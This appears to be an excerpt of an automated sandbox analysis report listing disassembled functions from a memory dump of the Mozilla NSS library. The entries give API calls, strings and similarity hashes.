Part of subcall function 6C7607B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7607E6
Part of subcall function 6C7607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C76081B
Part of subcall function 6C7607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C760825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6C767313), ref: 6C769012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6C767313), ref: 6C76903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6C767313), ref: 6C76909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6C767313), ref: 6C7690DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6C767313), ref: 6C7690F1

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6C767313), ref: 6C76906B

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6C767313), ref: 6C769128

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 275c215812ea02eef4ae776730a60c93ca998f6903bbef1dcbf316d29599acb0
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 31519F71A002029BEB148F6BDE48B66B3F5AF64358F254039DD55DBF61EB32E804CB91

Function 6C719C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6C718850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C720715), ref: 6C718859
Part of subcall function 6C718850: PR_NewLock.NSS3 ref: 6C718874
Part of subcall function 6C718850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C71888D

PR_NewLock.NSS3 ref: 6C719CAD

Part of subcall function 6C7C98D0: calloc.MOZGLUE(00000001,00000084,6C6F0936,00000001,?,6C6F102C), ref: 6C7C98E5

Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07AD
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07CD
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07D6
Part of subcall function 6C6F07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C68204A), ref: 6C6F07E4
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,6C68204A), ref: 6C6F0864
Part of subcall function 6C6F07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C6F0880
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,6C68204A), ref: 6C6F08CB
Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(?,?,6C68204A), ref: 6C6F08D7
Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(?,?,6C68204A), ref: 6C6F08FB

TlsGetValue.KERNEL32 ref: 6C719CE8
EnterCriticalSection.KERNEL32(?,?,6C71ECEC,6C722FCD,00000000,?,6C722FCD,?), ref: 6C719D01
TlsGetValue.KERNEL32(?,?,?,6C71ECEC,6C722FCD,00000000,?,6C722FCD,?), ref: 6C719D38
EnterCriticalSection.KERNEL32(?,?,6C71ECEC,6C722FCD,00000000,?,6C722FCD,?), ref: 6C719D4D
PR_Unlock.NSS3 ref: 6C719D70
PR_Unlock.NSS3 ref: 6C719DC3
PR_NewLock.NSS3 ref: 6C719DDD

Part of subcall function 6C7188D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C720725,00000000,00000058), ref: 6C718906
Part of subcall function 6C7188D0: EnterCriticalSection.KERNEL32(?), ref: 6C71891A
Part of subcall function 6C7188D0: PL_ArenaAllocate.NSS3(?,?), ref: 6C71894A
Part of subcall function 6C7188D0: calloc.MOZGLUE(00000001,6C72072D,00000000,00000000,00000000,?,6C720725,00000000,00000058), ref: 6C718959
Part of subcall function 6C7188D0: memset.VCRUNTIME140(?,00000000,?), ref: 6C718993
Part of subcall function 6C7188D0: PR_Unlock.NSS3(?), ref: 6C7189AF

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: 6ff5b5bdb51dcff77ae5d2ba7fbe3a6968886057a685e248a5dd4fd86369a2ee
Instruction ID: d2e74c426cf38bc6ede8cf96619a502fd68c050ad981e52b120e37d145e503cf
Opcode Fuzzy Hash: 6ff5b5bdb51dcff77ae5d2ba7fbe3a6968886057a685e248a5dd4fd86369a2ee
Instruction Fuzzy Hash: 3D519470A187059FDB00EF69C28965ABBF0BF54348F198539D8989BF11E730E845CBD1

Function 6C819EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C819EC0
EnterCriticalSection.KERNEL32(?), ref: 6C819EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6C819F73
EnterCriticalSection.KERNEL32(?), ref: 6C819FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6C819FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6C819FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6C81A01D

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: eba704c88d005b6e57884a7466cbbac63f3f928c2a2d1475d3067e20a8894ec8
Instruction ID: 7d7f9ba3b631d0264fc366aaf576062ef4eea16a458dd8124c1f3d7a68659cc5
Opcode Fuzzy Hash: eba704c88d005b6e57884a7466cbbac63f3f928c2a2d1475d3067e20a8894ec8
Instruction Fuzzy Hash: C851DFB2904602DFCB209F25C58868AB7F0FF14318F15896AD85957F12E731F888CBD2

Function 6C70DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C70DCFA

Part of subcall function 6C7C9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C810A27), ref: 6C7C9DC6
Part of subcall function 6C7C9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C810A27), ref: 6C7C9DD1
Part of subcall function 6C7C9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C7C9DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C70DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C70DD62
CERT_DestroyCertificate.NSS3(?), ref: 6C70DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6C70DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6C70DD8F

Part of subcall function 6C7206A0: TlsGetValue.KERNEL32 ref: 6C7206C2
Part of subcall function 6C7206A0: EnterCriticalSection.KERNEL32(?), ref: 6C7206D6
Part of subcall function 6C7206A0: PR_Unlock.NSS3 ref: 6C7206EB

CERT_DestroyCertificate.NSS3(?), ref: 6C70DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6C70DDB7

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 6b24a2faabd4a522642c5b9cddf9343c65dc7fc2a4a0e02c49aa52a79c972240
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: 7C21ACF6F012169BDB019EA5DE469AFB7F4AF25318B140032ED08A7701F721E914CBE6

Function 6C795F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C79AADB,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795F72

Part of subcall function 6C6FED70: DeleteCriticalSection.KERNEL32(?), ref: 6C6FED8F
Part of subcall function 6C6FED70: DeleteCriticalSection.KERNEL32(?), ref: 6C6FED9E
Part of subcall function 6C6FED70: DeleteCriticalSection.KERNEL32(?), ref: 6C6FEDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C79AADB,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C79AADB,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795FCC
free.MOZGLUE(?,?,6C79AADB,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C79AADB,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795FF4
free.MOZGLUE(?,?,6C79AADB,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C79AADB,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C796019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C79AADB,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C796036

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: 66b842c1de2ac14ec1aa2e1c4a1ba1f191a52370ab5ad1f67225fef0ddcba1a1
Instruction ID: 36c84561a8631d2d89150570f22e8da14aa1f55dc1382b1f09d4cf730b366980
Opcode Fuzzy Hash: 66b842c1de2ac14ec1aa2e1c4a1ba1f191a52370ab5ad1f67225fef0ddcba1a1
Instruction Fuzzy Hash: A1214DF1A04B009BEA619F75E848BD377E9AB4571DF100938E46AC7640EB76E019CBD1

Function 6C703C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6C77460B,?,?), ref: 6C703CA9
EnterCriticalSection.KERNEL32(?), ref: 6C703CB9
PL_HashTableLookup.NSS3(?), ref: 6C703CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6C703CD6
PR_Unlock.NSS3 ref: 6C703CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6C703CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C703D03
PR_Unlock.NSS3 ref: 6C703D15

Part of subcall function 6C7ADD70: TlsGetValue.KERNEL32 ref: 6C7ADD8C
Part of subcall function 6C7ADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7ADDB4

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: d51b37329585c367415842e59d339389aaf5385f20894a7b709e35774ff087fd
Instruction ID: 1d05e2d45fcd1058a1801796126e90232c206cb5c062ce68c67d3861ef5a600b
Opcode Fuzzy Hash: d51b37329585c367415842e59d339389aaf5385f20894a7b709e35774ff087fd
Instruction Fuzzy Hash: 071106BAF00115B7EB111B359D0ACAA3AB9EB1225CB154170EC1883711FB22D868C7D2

Function 6C709C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7211C0: PR_NewLock.NSS3 ref: 6C721216

free.MOZGLUE(?), ref: 6C709E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C709E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C709E4E
TlsGetValue.KERNEL32 ref: 6C709EA2

Part of subcall function 6C719500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6C719546

EnterCriticalSection.KERNEL32(?), ref: 6C709EB6
PR_Unlock.NSS3 ref: 6C709ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C709F18

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: 203d4b42c5953947a31484310a22cfa86b7c8ef7f95653eaf0cad0f44eb5c6d1
Instruction ID: 1c9cde160883964fe438bc514382091b018052660e36536e108538569f8cc270
Opcode Fuzzy Hash: 203d4b42c5953947a31484310a22cfa86b7c8ef7f95653eaf0cad0f44eb5c6d1
Instruction Fuzzy Hash: 7C81D5B2A04201ABE7109F34DE49AAB77E9BF6524CF184538EC5987F41FB31E918C791

Function 6C71DCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C71AB10: DeleteCriticalSection.KERNEL32(D958E852,6C721397,5B5F5EC0,?,?,6C71B1EE,2404110F,?,?), ref: 6C71AB3C
Part of subcall function 6C71AB10: free.MOZGLUE(D958E836,?,6C71B1EE,2404110F,?,?), ref: 6C71AB49
Part of subcall function 6C71AB10: DeleteCriticalSection.KERNEL32(5D5E6C91), ref: 6C71AB5C
Part of subcall function 6C71AB10: free.MOZGLUE(5D5E6C85), ref: 6C71AB63
Part of subcall function 6C71AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C71AB6F
Part of subcall function 6C71AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C71AB76

TlsGetValue.KERNEL32 ref: 6C71DCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6C71DD0E
PK11_IsFriendly.NSS3(?), ref: 6C71DD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6C71DD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C71DE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C71DEA6
PR_Unlock.NSS3(?), ref: 6C71DF08

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: a2fc2ddf3890154efc5ccba583dea764f2cf54e7d2d658e6657dc368e6ca2f8f
Instruction ID: 5b7385d2e6f915d891f2435d8e46ca84084f02b914b44999ff150734bc3fda14
Opcode Fuzzy Hash: a2fc2ddf3890154efc5ccba583dea764f2cf54e7d2d658e6657dc368e6ca2f8f
Instruction Fuzzy Hash: A39102B5A041019FDB01CF68CA89BAAB7B5BF64309F194039DC189BF41E731E909CF95

Function 6C6D5FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6C7BBB62,00000004,6C824CA4,?,?,00000000,?,?,6C6931DB), ref: 6C6D60AB
sqlite3_config.NSS3(00000004,6C824CA4,6C7BBB62,00000004,6C824CA4,?,?,00000000,?,?,6C6931DB), ref: 6C6D60EB
sqlite3_config.NSS3(00000012,6C824CC4,?,?,6C7BBB62,00000004,6C824CA4,?,?,00000000,?,?,6C6931DB), ref: 6C6D6122

Strings

misuse, xrefs: 6C6D609F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6D6095
%s at line %d of [%.10s], xrefs: 6C6D60A4

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: ca52b3b6237fbac4e7f89417542c79360c1b96fb3b03601715a9cda08fcfa262
Instruction ID: 9f05679f929b0c61685c4b7d14c863709d44702eb17a67664100088c803228ba
Opcode Fuzzy Hash: ca52b3b6237fbac4e7f89417542c79360c1b96fb3b03601715a9cda08fcfa262
Instruction Fuzzy Hash: 24B17274E0464ACFCB54CF5CC6809A9B7F0FB1E308B458569D509AB322E778BA84CBD5

Function 6C684F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C684FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6851BB

Strings

misuse, xrefs: 6C6851AF
unable to delete/modify user-function due to active statements, xrefs: 6C6851DF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6851A5
%s at line %d of [%.10s], xrefs: 6C6851B4

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 1863835089ef6a3851b7ac0124cd2457a582058c13fbf910a80006a91c407abb
Instruction ID: 1072135d429a6882949201caef5d6261595f3bd03dd3fb2b84785209ccee8426
Opcode Fuzzy Hash: 1863835089ef6a3851b7ac0124cd2457a582058c13fbf910a80006a91c407abb
Instruction Fuzzy Hash: 6B71AE7560520A9FEB01CE55CD80BEA77B9BF48308F044528FD1A9BB81D731E854CBA5

Function 6C6F2D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C6F2D69

Strings

winTruncate2, xrefs: 6C6F2EF8
winTruncate1, xrefs: 6C6F2EBE
winUnmapfile2, xrefs: 6C6F2F7F
winUnmapfile1, xrefs: 6C6F2F55
winSeekFile, xrefs: 6C6F2E9C

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: 606de43b3cb799db3e862f19d1c27b07cd4bd4cc9a47b8c6d44faf8251966c03
Instruction ID: 961276c8755fd98f512dc2d16875b5176b2ce984099a806ed161c6bed8072669
Opcode Fuzzy Hash: 606de43b3cb799db3e862f19d1c27b07cd4bd4cc9a47b8c6d44faf8251966c03
Instruction Fuzzy Hash: 8761B171A002059FDB54CF64DC98AAA77B2FF89318F20853CE9199B780DB34AD06CF95

Function 6C76FF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6C76F165,?), ref: 6C76FF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6C76F165,?), ref: 6C76FF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C76F165,?), ref: 6C76FF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C76F165,?), ref: 6C76FF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6C76F165,?), ref: 6C76FFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6C76F165,6C83219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C76FFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6C76F165,?), ref: 6C7700A6

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

